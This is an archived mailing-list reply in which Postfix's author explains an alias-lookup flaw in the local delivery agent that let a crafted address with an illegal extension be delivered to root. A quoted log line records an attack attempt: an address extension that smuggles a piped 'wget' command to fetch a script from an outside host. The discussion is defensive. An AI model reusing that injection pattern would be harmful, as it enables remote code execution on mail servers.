Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email firstname.lastname@example.org
From: Wietse Venema (wietseporcupine.org)
Date: Thu Apr 22 2010 - 08:41:36 CDT
[ Charset ISO-8859-1 unsupported, converting... ]
> On 22.04.2010 14:47, Wietse Venema wrote:
> > Arno Sch?fer:
> >> Apr 9 17:54:55 www postfix/local: warning: 800FC35405B: address
> >> with illegal extension: root+:|wget http://fortunes.in/x1x.php
> > You did't mention in the initial report that Postfix rejected the
> > extension, because that makes all the difference in the world.
> Yes. I should have looked up the mail.log right away, sorry about that.
> > Apparently, the Postfix local delivery agent does not distinguish
> > between "there is no address extension" and "there is an address
> > extension, but it is invalid". In both cases, it only runs the
> > full address local-part through the alias mapping.
> Ok, so if I understand that correctly, if the extension is valid, the
> local delivery agent checks if there is an alias for the address WITH
> extension, and if not, falls back to the alias WITHOUT extension. But if
> the extension is invalid, it does not realize that and looks for an
> alias with the invalid extension, does not find one, and then decides to
> attempt to deliver locally.
Indeed. The code that expands aliases should have looked up both
the full local-part and the stripped local-part, but it looked up
only the full local-part.
> Just to be sure: why then is the mail delivered to root, rather than
> rejected? That would mean that the local delivery agent, AFTER deciding
> to deliver locally, in another part of the code again checks for an
> extension in the full address local-part and in that case, handles it
> correctly, right?
The code that delivers to mailbox always looks up the stripped local-part.